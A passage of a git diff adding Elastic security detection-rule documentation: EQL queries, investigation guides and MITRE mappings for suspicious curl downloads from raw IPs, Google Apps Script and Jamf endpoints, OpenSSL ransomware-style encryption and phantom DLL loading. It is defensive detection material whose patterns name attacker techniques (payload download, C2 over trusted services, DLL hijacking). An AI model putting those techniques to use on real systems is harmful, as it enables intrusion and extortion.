trojanized application. +- Search for any files created on disk around the time of the curl execution to identify downloaded payloads that may have been staged for execution. +- Correlate with other events on the same host to identify if the downloaded payload was subsequently executed. + + +*False positive analysis* + + +- Some legitimate applications may use curl for software updates or telemetry data collection. Verify the destination IP against the application vendor's known infrastructure. +- Development tools and IDEs may download dependencies or packages via curl during normal operations. Review the context and confirm with development teams. +- Homebrew and package managers may spawn curl from application contexts during installations. Verify if package management activities were expected. +- Add verified legitimate applications to the exclusion list in the query after confirming their behavior is expected. + + +*Response and remediation* + + +- Immediately quarantine the suspicious application by moving it to a secure location and removing it from /Applications to prevent further execution. +- Block the destination IP address at the network perimeter and on endpoint firewalls to prevent additional downloads. +- Search the file system for any payloads that may have been downloaded and quarantine them for analysis. +- Conduct a full malware scan on the affected system to identify any persistence mechanisms or additional malware components. +- Report the trojanized application to Apple Security and relevant threat intelligence sharing platforms. +- Review other systems in the environment for the same trojanized application to determine the scope of potential compromise. +- Investigate the delivery mechanism to understand how the trojanized application was installed and prevent future infections. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("curl", "nscurl") and + process.args in ("-o", "--output", "--download", "-dl", "-dir", "--directory") and + process.args regex~ """https?:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}(:[0-9]{1,5})?\/.*""" and + process.parent.name like~ ("bash", "sh", "zsh", "osascript", "tclsh*", "python*") and + process.Ext.effective_parent.executable like "/Applications/*" and + process.args_count <= 10 and + not process.args like "/Applications/*" and + not process.Ext.effective_parent.executable in ("/Applications/iTerm.app/Contents/MacOS/iTerm2", + "/Applications/Visual Studio Code.app/Contents/MacOS/Electron", + "/Applications/Warp.app/Contents/MacOS/stable") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-curl-to-google-app-script-endpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-curl-to-google-app-script-endpoint.asciidoc new file mode 100644 index 0000000000..0139c85708 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-curl-to-google-app-script-endpoint.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-suspicious-curl-to-google-app-script-endpoint]] +=== Suspicious Curl to Google App Script Endpoint + +Detects the use of curl to a Google Script endpoint for the purpose of downloading a second stage payload or tool. Threat actors utilize exposed Google Script endpoints to host payloads as Google URLs are generally whitelisted and bypass security controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.google.com/script/start/ +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Curl to Google App Script Endpoint* + + +Google Apps Script is a cloud-based development platform that allows users to extend Google Workspace functionality with custom scripts. Threat actors abuse this legitimate service to host malicious scripts that serve as command and control endpoints, taking advantage of the trusted domain reputation and SSL certificates. This detection rule identifies curl connections to Google Apps Script endpoints from macOS systems, which may indicate C2 communication or payload retrieval from attacker-controlled scripts. + + +*Possible investigation steps* + + +- Review the process.parent.executable and process.command_line fields to understand what application or script initiated the curl request to Google Apps Script. +- Extract the full URL from process.args to identify the specific Apps Script deployment being accessed and determine if it belongs to your organization. +- Analyze the process.Ext.effective_parent.executable to trace the execution chain and identify the root cause of the suspicious activity. +- Check Google Workspace admin logs if available to review the Apps Script deployment and its contents for malicious code. +- Investigate the user.name associated with the activity to determine if the behavior aligns with their normal duties. +- Review network response data if captured to identify any commands, payloads, or exfiltrated data transmitted via the Apps Script endpoint. +- Search for similar curl to Google Apps Script activity across other endpoints to assess the scope of potential compromise. + + +*False positive analysis* + + +- Legitimate business automation may use Google Apps Script for workflow integrations. Verify with the script owner and confirm the Apps Script belongs to your organization. +- MDM and management tools like Kandji may interact with Google services legitimately. These are already excluded in the query but verify if additional tools should be added. +- Marketing and analytics platforms may use Apps Script for data collection. Confirm these are sanctioned business applications. +- Development and testing activities may involve Apps Script integrations. Coordinate with development teams to understand expected activities. + + +*Response and remediation* + + +- Immediately block the suspicious Google Apps Script URL at the proxy or web filter to prevent ongoing C2 communication. +- Terminate the curl process and any parent processes that initiated the suspicious activity. +- Isolate the affected macOS system from the network while conducting forensic analysis. +- Report the malicious Apps Script to Google through their abuse reporting mechanisms to initiate takedown. +- Conduct a thorough scan of the affected system for additional malware, persistence mechanisms, or exfiltrated data. +- Review authentication logs for the affected user account and reset credentials if compromise is suspected. +- Search for similar activity across the environment to identify additional affected systems. +- Implement enhanced monitoring for connections to script.google.com from unexpected applications. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [process where host.os.type == "macos" and event.type == "start" and process.name in ("curl", "nscurl") and + not process.Ext.effective_parent.executable like "/Library/Kandji/Kandji Agent.app/Contents/Helpers/Kandji Library Manager.app/Contents/MacOS/kandji-library-manager"] + [network where host.os.type == "macos" and event.type == "start" and process.name in ("curl", "nscurl") and + destination.domain in ("script.google.com", "script.google.com.")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-curl-to-jamf-endpoint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-curl-to-jamf-endpoint.asciidoc new file mode 100644 index 0000000000..5dd5730c25 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-curl-to-jamf-endpoint.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-suspicious-curl-to-jamf-endpoint]] +=== Suspicious Curl to Jamf Endpoint + +Detects curl requests to JAMF Pro endpoints from suspicious processes like unsigned binaries or scripting interpreters. This indicates potential abuse of stolen JAMF credentials for lateral movement in enterprise macOS environments. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Curl to Jamf Endpoint* + + +Jamf Pro is a widely-used enterprise Apple device management platform that controls software deployment, security policies, and device configurations across macOS fleets. Threat actors who compromise Jamf credentials can leverage this access for devastating lateral movement, deploying malicious payloads to all managed devices or exfiltrating sensitive device inventory data. This detection rule identifies curl requests to Jamf endpoints originating from suspicious processes like unsigned binaries or scripting interpreters, which is inconsistent with legitimate Jamf management workflows. + + +*Possible investigation steps* + + +- Examine the process.command_line to identify the specific Jamf API endpoint being accessed and determine if it matches your organization's Jamf Pro server URL. +- Review the process.parent.executable and parent process details to understand how the curl request was initiated and trace back to the initial execution vector. +- Analyze the process.parent.code_signature fields to confirm whether the parent process is unsigned or has an untrusted signature. +- Correlate with Jamf Pro server logs to review authentication attempts, API calls, and any configuration changes made around the time of the alert. +- Check if any Jamf API credentials, tokens, or certificates were recently accessed or exfiltrated from the affected system. +- Review the user.name associated with the process to determine if the behavior is consistent with their role and normal activities. +- Search for similar curl requests to Jamf endpoints across other systems in the environment to identify potential widespread credential abuse. + + +*False positive analysis* + + +- Legitimate IT automation scripts may use curl to interact with Jamf APIs for approved management tasks. Verify the script ownership and purpose with IT operations. +- MDM troubleshooting by administrators may involve manual curl commands to test API connectivity. Confirm with IT staff if such activities were planned. +- Third-party integrations with Jamf may use scripting languages to automate device management. Review the integration documentation and verify legitimacy. +- Security testing and penetration testing activities may trigger this detection. Coordinate with security teams to document expected testing windows. + + +*Response and remediation* + + +- Immediately revoke or rotate the Jamf API credentials that may have been compromised. +- Block the source IP or endpoint from accessing the Jamf Pro server pending investigation. +- Review Jamf Pro audit logs for any unauthorized configuration changes, script deployments, or policy modifications. +- Check all managed devices for unauthorized software deployments or policy changes that may have been pushed via the compromised access. +- Terminate the suspicious process and quarantine any associated scripts or binaries for analysis. +- Implement IP allowlisting or certificate-based authentication for Jamf API access to prevent future unauthorized access. +- Reset credentials for any user accounts that may have had access to Jamf management credentials. +- Escalate to the incident response team for comprehensive investigation of potential enterprise-wide compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name in ("curl", "nscurl") and process.command_line like "*https://jamf.*" and + ((process.parent.code_signature.exists == false or process.parent.code_signature.trusted == false) or + process.parent.name in ("osascript", "node", "perl", "ruby") or + process.parent.name like "python*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Software Deployment Tools +** ID: T1072 +** Reference URL: https://attack.mitre.org/techniques/T1072/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-data-encryption-via-openssl-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-data-encryption-via-openssl-utility.asciidoc new file mode 100644 index 0000000000..822eca494b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-data-encryption-via-openssl-utility.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-suspicious-data-encryption-via-openssl-utility]] +=== Suspicious Data Encryption via OpenSSL Utility + +Identifies when the openssl command-line utility is used to encrypt multiple files on a host within a short time window. Adversaries may encrypt data on a single or multiple systems in order to disrupt the availability of their target's data and may attempt to hold the organization's data to ransom for the purposes of extortion. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/ +* https://www.trendmicro.com/en_us/research/21/f/bash-ransomware-darkradiation-targets-red-hat--and-debian-based-linux-distributions.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Data Encryption via OpenSSL Utility* + + +OpenSSL is a widely-used command-line tool for secure data encryption and decryption. Adversaries may exploit OpenSSL to encrypt files rapidly across systems, aiming to disrupt data availability or demand ransom. The detection rule identifies suspicious OpenSSL usage by monitoring rapid file encryption activities, focusing on specific command patterns and excluding benign operations, thus highlighting potential malicious behavior. + + +*Possible investigation steps* + + +- Review the process execution details on the host identified by host.id to confirm the presence of the openssl command and its associated arguments, ensuring they match the suspicious pattern specified in the query. +- Examine the user.name associated with the process to determine if the activity aligns with expected behavior for that user or if it indicates potential unauthorized access. +- Investigate the parent process identified by process.parent.entity_id to understand the context in which the openssl command was executed, checking for any unusual or unexpected parent processes. +- Check for any recent file modifications or creations on the host that coincide with the time window of the alert to assess the impact of the encryption activity. +- Look for additional related alerts or logs from the same host or user within a similar timeframe to identify any patterns or further suspicious activities that could indicate a broader attack. + + +*False positive analysis* + + +- Legitimate batch encryption operations by system administrators or automated scripts may trigger the rule. To handle this, identify and whitelist specific scripts or user accounts that perform regular encryption tasks. +- Backup processes that use OpenSSL for encrypting data before storage can be mistaken for malicious activity. Exclude known backup processes by specifying their parent process names or paths. +- Developers or security teams testing encryption functionalities might inadvertently match the rule's criteria. Create exceptions for development environments or specific user accounts involved in testing. +- Automated data transfer services that encrypt files for secure transmission could be flagged. Identify these services and exclude their associated processes or user accounts from the rule. +- Regularly review and update the exclusion list to ensure it reflects current operational practices and does not inadvertently allow malicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further spread of the encryption activity and potential lateral movement by the adversary. +- Terminate any suspicious OpenSSL processes identified on the host to halt ongoing encryption activities. +- Conduct a forensic analysis of the affected host to identify the scope of the encryption, including which files were encrypted and any potential data exfiltration. +- Restore encrypted files from the most recent clean backup to ensure data availability and integrity, ensuring that the backup is free from any malicious alterations. +- Change all credentials and keys that may have been exposed or used on the affected host to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for OpenSSL usage across the network to detect and respond to similar threats more effectively in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, user.name, process.parent.entity_id with maxspan=5s + [ process where host.os.type == "linux" and event.action == "exec" and + process.name == "openssl" and process.parent.name : ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl*", "php*", "python*", "xargs") and + process.args == "-in" and process.args == "-out" and + process.args in ("-k", "-K", "-kfile", "-pass", "-iv", "-md") and + /* excluding base64 encoding options and including encryption password or key params */ + not process.args in ("-d", "-a", "-A", "-base64", "-none", "-nosalt") and + not (process.parent.command_line == "bash -s" and process.args like "/root/recipes/recipes*") + ] with runs=10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-dll-loaded-for-persistence-or-privilege-escalation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-dll-loaded-for-persistence-or-privilege-escalation.asciidoc new file mode 100644 index 0000000000..911b85ba71 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-dll-loaded-for-persistence-or-privilege-escalation.asciidoc @@ -0,0 +1,227 @@ +[[prebuilt-rule-8-19-34-suspicious-dll-loaded-for-persistence-or-privilege-escalation]] +=== Suspicious DLL Loaded for Persistence or Privilege Escalation + +Identifies the loading of a non Microsoft signed DLL that is missing on a default Windows install (phantom DLL) or one that can be loaded from a different location by a native Windows process. This may be abused to persist or elevate privileges via privileged file write vulnerabilities. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://itm4n.github.io/windows-dll-hijacking-clarified/ +* http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html +* https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html +* https://shellz.club/2020/10/16/edgegdi-dll-for-persistence-and-lateral-movement.html +* https://windows-internals.com/faxing-your-way-to-system/ +* http://waleedassar.blogspot.com/2013/01/wow64logdll.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious DLL Loaded for Persistence or Privilege Escalation* + + +Attackers can execute malicious code by abusing missing modules that processes try to load, enabling them to escalate privileges or gain persistence. This rule identifies the loading of a non-Microsoft-signed DLL that is missing on a default Windows installation or one that can be loaded from a different location by a native Windows process. + + +*Possible investigation steps* + + +- Examine the DLL signature and identify the process that created it. + - Investigate any abnormal behaviors by the process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve the DLL and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and +( + /* Elastic Defend DLL load events */ + (event.category == "library" and + ( + ?dll.name : ("wlbsctrl.dll", "wbemcomn.dll", "WptsExtensions.dll", "Tsmsisrv.dll", "TSVIPSrv.dll", "Msfte.dll", "wow64log.dll", "WindowsCoreDeviceInfo.dll", "Ualapi.dll", "wlanhlp.dll", "phoneinfo.dll", "EdgeGdi.dll", "cdpsgshims.dll", "windowsperformancerecordercontrol.dll", "diagtrack_win.dll", "TPPCOIPW32.dll", "tpgenlic.dll", "thinmon.dll", "fxsst.dll", "msTracer.dll") or + + (?dll.path : "?:\\Windows\\*\\oci.dll" and process.executable : "?:\\Windows\\*.exe") + ) + and (?dll.code_signature.trusted == false or ?dll.code_signature.exists == false or (?dll.code_signature.trusted == true and not ?dll.code_signature.subject_name : ("Microsoft Windows", "Microsoft Corporation", "Microsoft Windows Publisher")) + )) + or + + /* Sysmon DLL load events */ + ((event.category == "process" and event.action like "Image loaded*") and file.code_signature.status != "Valid" and + file.name : ("wlbsctrl.dll", "wbemcomn.dll", "WptsExtensions.dll", "Tsmsisrv.dll", "TSVIPSrv.dll", "Msfte.dll", "wow64log.dll", "WindowsCoreDeviceInfo.dll", "Ualapi.dll", "wlanhlp.dll", "phoneinfo.dll", "EdgeGdi.dll", "cdpsgshims.dll", "windowsperformancerecordercontrol.dll", "diagtrack_win.dll", "TPPCOIPW32.dll", "tpgenlic.dll", "thinmon.dll", "fxsst.dll", "msTracer.dll") and + not file.hash.sha256 in + ("6e837794fc282446906c36d681958f2f6212043fc117c716936920be166a700f", + "b14e4954e8cca060ffeb57f2458b6a3a39c7d2f27e94391cbcea5387652f21a4", + "c258d90acd006fa109dc6b748008edbb196d6168bc75ace0de0de54a4db46662", + "254e5053ac04b7623e86234077876388e0b10c3ac5c3f4e4e86292b62571bfb0")) + +) and not + ( + ?dll.path : ( + "?:\\Windows\\System32\\wbemcomn.dll", + "?:\\Windows\\SysWOW64\\wbemcomn.dll", + "?:\\Windows\\System32\\windowsperformancerecordercontrol.dll", + "?:\\Windows\\System32\\wlanhlp.dll", + "\\Device\\HarddiskVolume?\\Windows\\SysWOW64\\wbemcomn.dll", + "\\Device\\HarddiskVolume?\\Windows\\System32\\wbemcomn.dll", + "\\Device\\HarddiskVolume?\\Windows\\SysWOW64\\wlanhlp.dll", + "\\Device\\HarddiskVolume?\\Windows\\System32\\wlanhlp.dll", + "\\Device\\HarddiskVolume?\\Windows\\SysWOW64\\windowsperformancerecordercontrol.dll", + "\\Device\\HarddiskVolume?\\Windows\\System32\\windowsperformancerecordercontrol.dll", + "C:\\ProgramData\\docker\\windowsfilter\\*\\Files\\Windows\\System32\\windowsperformancerecordercontrol.dll", + "\\Device\\vmsmb\\VSMB-{*}\\os\\windows\\system32\\*.dll", + "C:\\Windows\\WinSxS\\amd64_microsoft-windows-wmi-core-wbemcomn-dll_*\\wbemcomn.dll", + "C:\\Windows\\WinSxS\\wow64_microsoft-windows-wmi-core-wbemcomn-dll_*\\wbemcomn.dll", + "C:\\Windows\\WinSxS\\amd64_microsoft-windows-coresystem-wpr_*\\windowsperformancerecordercontrol.dll" + ) or + + file.path : ( + "?:\\Windows\\System32\\wbemcomn.dll", + "?:\\Windows\\SysWOW64\\wbemcomn.dll", + "?:\\Windows\\System32\\windowsperformancerecordercontrol.dll", + "?:\\Windows\\System32\\wlanhlp.dll", + "C:\\ProgramData\\docker\\windowsfilter\\*\\Files\\Windows\\System32\\windowsperformancerecordercontrol.dll", + "C:\\ProgramData\\docker\\windowsfilter\\*\\Files\\Windows\\System32\\wbemcomn.dll", + "\\Device\\vmsmb\\VSMB-{*}\\os\\windows\\system32\\*.dll", + "C:\\Windows\\WinSxS\\amd64_microsoft-windows-wmi-core-wbemcomn-dll_*\\wbemcomn.dll", + "C:\\Windows\\WinSxS\\wow64_microsoft-windows-wmi-core-wbemcomn-dll_*\\wbemcomn.dll" + ) or + + ?dll.code_signature.status like "errorCode_endpoint*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-dynamic-linker-discovery-via-od.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-dynamic-linker-discovery-via-od.asciidoc new file mode 100644 index 0000000000..b79f2ed43a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-dynamic-linker-discovery-via-od.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-suspicious-dynamic-linker-discovery-via-od]] +=== Suspicious Dynamic Linker Discovery via od + +Monitors for dynamic linker discovery via the od utility. od (octal dump) is a command-line utility in Unix operating systems used for displaying data in various formats, including octal, hexadecimal, decimal, and ASCII, primarily used for examining and debugging binary files or data streams. Attackers can leverage od to analyze the dynamic linker by identifying injection points and craft exploits based on the observed behaviors and structures within these files. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* 